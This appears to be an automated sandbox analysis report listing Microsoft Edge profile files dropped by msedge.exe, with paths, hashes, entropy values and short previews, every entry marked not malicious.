C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\11235429-0388-4eee-9986-107cf124a090.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\68c3e59f-8cca-4f35-ac1d-54637c9988e2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3dd13.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\e0b8eab2-0fa1-4e67-ba08-3c0326145fc7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\fac45a7b-f9a4-4727-a982-f8dadc204fc1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.219567103877434
Encrypted:	false
SSDEEP:	12:4XguvVaYebvqBZFUt8RXgU/+RXg45OaYebvqBaJ:4XgsVaYebvyg8RXgbXgiOaYebvL
MD5:	167034195D05455B7AB7C88595267681
SHA1:	A4EEF8D0FD03B0664987AF94A3C17C5BD555FFCA
SHA-256:	7B46EBE11AC0B8909CBEEF47ADFA1B3DBA0E18FD0A1A400E2C5B0ACEABD5A14A
SHA-512:	8FC0999B80BDBFE260A97E899C75A31BD8EB97D80CC736561D77B32C41D0B17069AFA65AF801FA614C18CFF0039C1625EEAEB924839589CEBBBEBEA05B08B7F7
Malicious:	false
Preview:	2024/11/27-18:19:51.128 11f4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/27-18:19:51.129 11f4 Recovering log #3.2024/11/27-18:19:51.132 11f4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.219567103877434
Encrypted:	false
SSDEEP:	12:4XguvVaYebvqBZFUt8RXgU/+RXg45OaYebvqBaJ:4XgsVaYebvyg8RXgbXgiOaYebvL
MD5:	167034195D05455B7AB7C88595267681
SHA1:	A4EEF8D0FD03B0664987AF94A3C17C5BD555FFCA
SHA-256:	7B46EBE11AC0B8909CBEEF47ADFA1B3DBA0E18FD0A1A400E2C5B0ACEABD5A14A
SHA-512:	8FC0999B80BDBFE260A97E899C75A31BD8EB97D80CC736561D77B32C41D0B17069AFA65AF801FA614C18CFF0039C1625EEAEB924839589CEBBBEBEA05B08B7F7
Malicious:	false
Preview:	2024/11/27-18:19:51.128 11f4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/27-18:19:51.129 11f4 Recovering log #3.2024/11/27-18:19:51.132 11f4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.23340052036503
Encrypted:	false
SSDEEP:	6:HCz09f3+q2PN723oH+TcwtpIFUt8YCz0FmZmw+YCz0FiVkwON723oH+Tcwta/WLJ:409fOvVaYebmFUt8R0Fm/+R0Fa5OaYev
MD5:	FE45230BAB11A5B1755374A100FFE38C
SHA1:	854B09129033323F0DF38EDF2AD1DFED6F645667
SHA-256:	6C3906286F35A89886D34559981ACA737CF22C2C3EAB7D23B91A847F9F8E0E77
SHA-512:	F51866FA9AD6403FDE460E31AFFABF3B8D576E03AA2A70D632ACAD1F3AB60D7723A6DCECD5147CCD9223E3889742F53274754DEB9490E9444AA4253516492E6E
Malicious:	false
Preview:	2024/11/27-18:19:32.557 2388 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/27-18:19:32.558 2388 Recovering log #3.2024/11/27-18:19:32.558 2388 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.23340052036503
Encrypted:	false
SSDEEP:	6:HCz09f3+q2PN723oH+TcwtpIFUt8YCz0FmZmw+YCz0FiVkwON723oH+Tcwta/WLJ:409fOvVaYebmFUt8R0Fm/+R0Fa5OaYev
MD5:	FE45230BAB11A5B1755374A100FFE38C
SHA1:	854B09129033323F0DF38EDF2AD1DFED6F645667
SHA-256:	6C3906286F35A89886D34559981ACA737CF22C2C3EAB7D23B91A847F9F8E0E77
SHA-512:	F51866FA9AD6403FDE460E31AFFABF3B8D576E03AA2A70D632ACAD1F3AB60D7723A6DCECD5147CCD9223E3889742F53274754DEB9490E9444AA4253516492E6E
Malicious:	false
Preview:	2024/11/27-18:19:32.557 2388 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/27-18:19:32.558 2388 Recovering log #3.2024/11/27-18:19:32.558 2388 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.267474812161435
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkM9SA1LyKOMq+8iP5GDHP/0jMVum0:Kq+n0J991LyKOMq+8iP5GLP/0B
MD5:	F4F97B2889D1DBD4D0A208E3AF5DB023
SHA1:	FEDD6AAA14547104B28E73C938857620C5563C84
SHA-256:	DD78828A61A0EFA223E12A5B39B486283757C95B45252BAC2A34F5A018AF5B42
SHA-512:	902D80598B32396C03FF63AD47C46E0B7CCB3B245DFE85B3D69325A5EA90DE6B3E5FE6B394E05F2B410AD33549ED191C05A412A0813AEAEBD2FB7A3F1404F3DA
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.466941658626063
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB07a:v7doKsKuKZKlZNmu46yjx0e
MD5:	2BA5EDE6D58C9FEF95F4360D401BC708
SHA1:	1467909407404DF954646C193829E9A4A68ACCA8
SHA-256:	B3C1625E3BCD007D99D6FC42DE858989BDC352787C3CCC81877D78F3860C9496
SHA-512:	ED2B1388F1F5E9877771C31DC657D312B9E9BFDD1355F6C51D26E6204678A8908B0D90EAA1BF01FD7BFBE75BF7F9EC37A9032CA9DF460002DF9E9CFFD62B11C9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\a32a0829-0f9a-45fe-85a7-325b99f62917.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17639), with no line terminators
Category:	dropped
Size (bytes):	17641
Entropy (8bit):	5.485846291835708
Encrypted:	false
SSDEEP:	192:stuJ99QTryDiuabatSuypCs4VaFvrEwVyKSkPNsMG+KExYoC0g+82bV+FT3Qw8hA:stuPGQSu4Cs4VCDFUKGJ4Y0RbGTQw83w
MD5:	8333B57B8BB3A11D45F8A39BE4D6FD4A
SHA1:	BB5C9C16F3E3036F6F6044CB1FC592616559AB38
SHA-256:	EDC3230B468A8EF430F212F99AB5FF3CE4B88AAE45FCAD246997597BCFEFD9A7
SHA-512:	798E7F3AF0ED97F65C84F346D67CEEC46BEF9AD43AF6435685AD4D8DE459F18851DDDF6C679506F8892E54F91ED85424588188F27A06E1F9FB0DE6E1253D20DD
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377223172989648","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\fb4761fb-2e63-4c10-92cd-086c604ae780.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24853
Entropy (8bit):	5.5649351973342975
Encrypted:	false
SSDEEP:	768:fv95QbW8xW5wImf4i18F1+UoAYDCx9Tuqh0VfUC9xbog/OVPdlIKnIMrwXw+pStK:fVib7xWaImfr1u1jaMFIl8tK
MD5:	F060043AD8491C2979344191AB733302
SHA1:	DDE46CA52FB2C4E5D981A0824F1F1F34852170D2
SHA-256:	87C59FC7FE0E20A58C23DBF208505C7A6D206B16ED95C2BEEC44C69AA2C07D4C
SHA-512:	01BAD7441EADDC566C19AA199C4D577EA3F87B0BD29DCCD167F1DC6255262829B682B273D85632D08F7CC2E4098203A0DC86E8375FBC5EACA738C098C12F7322
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377223172426435","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377223172426435","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10273955246116881
Encrypted:	false
SSDEEP:	12:++4/3+JspEjVl/PnnnnnnnnnnnvoQ/Eou:+V3PoPnnnnnnnnnnnv1j
MD5:	34556ABD789D35871E92BD24E7D9335A
SHA1:	BFD0093F6B6094B633FEFB554B5B79ED188F50F5
SHA-256:	C6CAC8246309EF9F5BBB6B920A1FA043415E55A233452A16245975D3BD274314
SHA-512:	3908BC96864BBA4299C51652A96D08AB07F928F48E05706BDF7A9FC24BEB8AD7D59575FDAC40C4BE3991C6994D8A4BDB0D4D6C5DB7A55AAC88CE47121FD5B35B
Malicious:	false
Preview:	..-.............M........K....Oe$J...V....r5..:c..-.............M........K....Oe$J...V....r5..:c........I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8899500345454887
Encrypted:	false
SSDEEP:	384:V3yxRXxo4xoHx76Wx8nxvGxfyxhDxXY1Rxhv8hyTyY5qyqyuxxqyBxypo:dD2xtD
MD5:	868F31E46EA04122B900BC89DFAD0F7F
SHA1:	52BF1C356696B74B1016C53DE707B2BC4F0E4670
SHA-256:	2AE03C261398DC2929D76349CE491CBCD8B6511007A2B89B958E6AF6F5EED181
SHA-512:	898EBDDD1CD74D1AB081C20215275CBD1C8A6B787BB847766A91ED65D7F4631915F1E784E2E6AF3AF4C4C92A9866E3166182C52A19D7FA45A8DF6042EACF0618
Malicious:	false
Preview:	7....-..........$J...V....M7'.z.........$J...V..h.IR..4.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	694
Entropy (8bit):	3.5797602516572877
Encrypted:	false
SSDEEP:	12:p9lc8QyOuuuuuuuuuuuuuuuuuuuujMllTq9Ru8m:pHayhlTq9s
MD5:	E2AFB3883DD7752AF0A3B974DBBE52C4
SHA1:	BF47A5F45D20331543D30FE66AC0C32D19365DA7
SHA-256:	B74E42CB1D8580B3093330AFD25A6D7DB2BC1A16D3041891847BA7D276F39A8B
SHA-512:	2E155E1988ADF70B9181AEB4358322168C74BFC53FE410E82C702A186389F7533E6E9133C47C2B945D3CACB066E58CAE2CAEE72F8A960C41442972D51A6160CC
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..$.0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............<KA.;...............#38_h.......6.Z..W.F.....X:......X:...........V.e................V.e................V.e................l..10................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.2424200681660675
Encrypted:	false
SSDEEP:	6:HCz/Wq2PN723oH+TcwtfrK+IFUt8YCz/PZmw+YCz/rEkwON723oH+TcwtfrUeLJ:4/WvVaYeb23FUt8R/P/+R/o5OaYeb3J
MD5:	B952AFF6465E0CD40FAD26DAD90A47A3
SHA1:	4AE5299F9BC2A5FB0813473F64C47CEAD5907C53
SHA-256:	AFE237110967C87B3B270BF04A20A3916CD4F3DB2EACEA522EB03DB1EBD08B0C
SHA-512:	64A319823F22D3352657BE9975B63ECC30A695184B37623C15E9E3E11948E8B2A4A23A222196CB35A105C34D165F60BF914DD50C3F5282A101209391979B81C1
Malicious:	false
Preview:	2024/11/27-18:19:33.016 2364 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/27-18:19:33.016 2364 Recovering log #3.2024/11/27-18:19:33.017 2364 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.2424200681660675
Encrypted:	false
SSDEEP:	6:HCz/Wq2PN723oH+TcwtfrK+IFUt8YCz/PZmw+YCz/rEkwON723oH+TcwtfrUeLJ:4/WvVaYeb23FUt8R/P/+R/o5OaYeb3J
MD5:	B952AFF6465E0CD40FAD26DAD90A47A3
